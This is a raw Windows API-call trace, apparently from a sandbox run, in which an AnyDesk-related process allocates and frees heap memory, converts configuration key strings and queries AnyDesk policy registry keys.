0xe494e0 [0198.766] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.766] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494e0 | out: hHeap=0x3b0000) returned 1 [0198.766] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494e0 [0198.766] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.766] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.766] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49500 [0198.767] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49500 | out: hHeap=0x3b0000) returned 1 [0198.767] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.767] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494e0 | out: hHeap=0x3b0000) returned 1 [0198.767] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494e0 [0198.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0198.767] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55c90 [0198.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa08, cbMultiByte=-1, lpWideCharStr=0xe55c90, cchWideChar=21 | out: lpWideCharStr="ad.anynet.boot_addrs") returned 21 [0198.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0198.767] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe49510, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0198.768] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494e0 | out: hHeap=0x3b0000) returned 1 [0198.768] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55cc8 [0198.768] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.768] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.768] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55c90 [0198.768] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55d00 [0198.768] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.768] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494e0 [0198.768] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.768] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.769] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494e0 | out: hHeap=0x3b0000) returned 1 [0198.769] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55d38 [0198.769] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55d70 [0198.769] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55da8 [0198.769] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494e0 [0198.769] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49500 [0198.769] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0198.769] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49500 | out: hHeap=0x3b0000) returned 1 [0198.769] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55de0 [0198.769] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55e18 [0198.769] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55e50 [0198.769] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55e18 | out: hHeap=0x3b0000) returned 1 [0198.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0198.770] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bc20 [0198.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9a8, cbMultiByte=-1, lpWideCharStr=0xe4bc20, cchWideChar=10 | out: lpWideCharStr="*.*.*.*:*") returned 10 [0198.770] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bc20 | out: hHeap=0x3b0000) returned 1 [0198.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0198.770] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550d8 [0198.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9b4, cbMultiByte=-1, lpWideCharStr=0xe550d8, cchWideChar=8 | out: lpWideCharStr="*.*.*.*") returned 8 [0198.770] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0198.770] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55e18 [0198.770] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe550d8 [0198.770] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0198.770] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55e18 | out: hHeap=0x3b0000) returned 1 [0198.770] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55e18 [0198.770] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55e88 [0198.770] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe550d8 [0198.771] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0198.771] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe49500 [0198.771] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49500 | out: hHeap=0x3b0000) returned 1 [0198.771] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550d8 [0198.771] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0198.771] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe49500 [0198.771] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49500 | out: hHeap=0x3b0000) returned 1 [0198.771] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55e88 | out: hHeap=0x3b0000) returned 1 [0198.771] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494e0 | out: hHeap=0x3b0000) returned 1 [0198.771] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55e88 [0198.772] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55e18 | out: hHeap=0x3b0000) returned 1 [0198.772] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55e50 | out: hHeap=0x3b0000) returned 1 [0198.772] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0198.772] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55de0 | out: hHeap=0x3b0000) returned 1 [0198.772] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55de0 [0198.772] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55e50 [0198.773] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55e88 | out: hHeap=0x3b0000) returned 1 [0198.773] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55da8 | out: hHeap=0x3b0000) returned 1 [0198.773] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55d70 | out: hHeap=0x3b0000) returned 1 [0198.774] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55d38 | out: hHeap=0x3b0000) returned 1 [0198.774] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe583a0 [0198.774] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0198.774] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55d38 [0198.774] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55d70 [0198.774] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55e50 | out: hHeap=0x3b0000) returned 1 [0198.774] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55de0 | out: hHeap=0x3b0000) returned 1 [0198.774] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.775] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55d00 | out: hHeap=0x3b0000) returned 1 [0198.775] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.775] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe583f0 [0198.775] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.775] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55c90 [0198.775] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55d00 [0198.775] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550a8 | out: hHeap=0x3b0000) returned 1 [0198.775] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55090 | out: hHeap=0x3b0000) returned 1 [0198.775] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55180 | out: hHeap=0x3b0000) returned 1 [0198.776] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b08 | out: hHeap=0x3b0000) returned 1 [0198.776] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0198.776] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0198.776] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0198.776] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0198.776] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aca8 [0198.776] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0198.776] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0198.776] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0198.776] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0198.776] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aca8 | out: hHeap=0x3b0000) returned 1 [0198.776] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0198.776] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0198.776] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0198.776] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b08 [0198.776] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0198.776] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55de0 [0198.777] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b08 | out: hHeap=0x3b0000) returned 1 [0198.777] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55180 [0198.777] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55090 [0198.777] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550a8 [0198.777] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0198.777] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b08 [0198.777] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550d8 [0198.777] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55348 [0198.777] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55228 [0198.777] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55180 | out: hHeap=0x3b0000) returned 1 [0198.777] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55090 | out: hHeap=0x3b0000) returned 1 [0198.777] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550a8 | out: hHeap=0x3b0000) returned 1 [0198.778] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55de0 | out: hHeap=0x3b0000) returned 1 [0198.778] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0198.778] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.778] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.778] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551c8 | out: hHeap=0x3b0000) returned 1 [0198.779] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b78 | out: hHeap=0x3b0000) returned 1 [0198.779] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0198.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac48 [0198.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0198.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0198.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aca8 [0198.779] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0198.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac48 [0198.779] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0198.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0198.779] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aca8 | out: hHeap=0x3b0000) returned 1 [0198.779] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0198.779] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0198.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac48 [0198.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b78 [0198.779] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac88 | out: hHeap=0x3b0000) returned 1 [0198.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55de0 [0198.780] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b78 | out: hHeap=0x3b0000) returned 1 [0198.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe551c8 [0198.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55198 [0198.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55078 [0198.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac88 [0198.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55b78 [0198.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550a8 [0198.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55090 [0198.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55180 [0198.780] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551c8 | out: hHeap=0x3b0000) returned 1 [0198.780] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.780] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.781] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55de0 | out: hHeap=0x3b0000) returned 1 [0198.781] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0198.781] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55cc8 | out: hHeap=0x3b0000) returned 1 [0198.781] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55d70 | out: hHeap=0x3b0000) returned 1 [0198.782] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55d38 | out: hHeap=0x3b0000) returned 1 [0198.782] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0198.782] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe583a0 | out: hHeap=0x3b0000) returned 1 [0198.782] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.783] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55d00 | out: hHeap=0x3b0000) returned 1 [0198.783] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.783] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.783] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe583f0 | out: hHeap=0x3b0000) returned 1 [0198.783] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0ce5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0198.783] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe55c90 [0198.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0ce5c, cbMultiByte=-1, lpWideCharStr=0xe55c90, cchWideChar=23 | out: lpWideCharStr="ad.anynet.conn_methods") returned 23 [0198.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0198.783] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe494f0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0198.783] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0198.784] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0198.784] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33048 [0198.784] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.connmethods", lpReserved=0x0, lpType=0x2e1f2c0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0 | out: lpType=0x2e1f2c0*=0x0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0) returned 0x6 [0198.784] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2ec | out: phkResult=0x2e1f2ec*=0x0) returned 0x2 [0198.784] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33048 | out: hHeap=0x3b0000) returned 1 [0198.784] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0198.784] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0198.785] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33048 [0198.785] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.connmethods", lpReserved=0x0, lpType=0x2e1f2c0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0 | out: lpType=0x2e1f2c0*=0x0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0) returned 0x6 [0198.785] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2ec | out: phkResult=0x2e1f2ec*=0x0) returned 0x2 [0198.785] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33048 | out: hHeap=0x3b0000) returned 1 [0198.785] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.785] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x84) returned 0xe0b2d0 [0198.785] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.786] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.786] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32838 | out: hHeap=0x3b0000) returned 1 [0198.786] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32778 | out: hHeap=0x3b0000) returned 1 [0198.787] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32878 | out: hHeap=0x3b0000) returned 1 [0198.787] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be20 | out: hHeap=0x3b0000) returned 1 [0198.787] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe323f8 | out: hHeap=0x3b0000) returned 1 [0198.787] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe327f8 | out: hHeap=0x3b0000) returned 1 [0198.788] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe328b8 | out: hHeap=0x3b0000) returned 1 [0198.788] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x84) returned 0xe054b0 [0198.788] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4be20 [0198.788] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.788] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.788] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0198.788] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.788] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe494f0 [0198.788] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0198.788] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55198 [0198.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a04dd4, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=7 | out: lpWideCharStr="direct") returned 7 [0198.789] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0198.789] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55198 [0198.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0006c, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=8 | out: lpWideCharStr="connect") returned 8 [0198.789] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.789] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe328b8 [0198.789] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe49510 [0198.789] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.789] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.789] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.789] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be20 | out: hHeap=0x3b0000) returned 1 [0198.789] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0xe4be20 [0198.789] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.789] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.789] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0198.789] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.789] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe494f0 [0198.790] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.790] 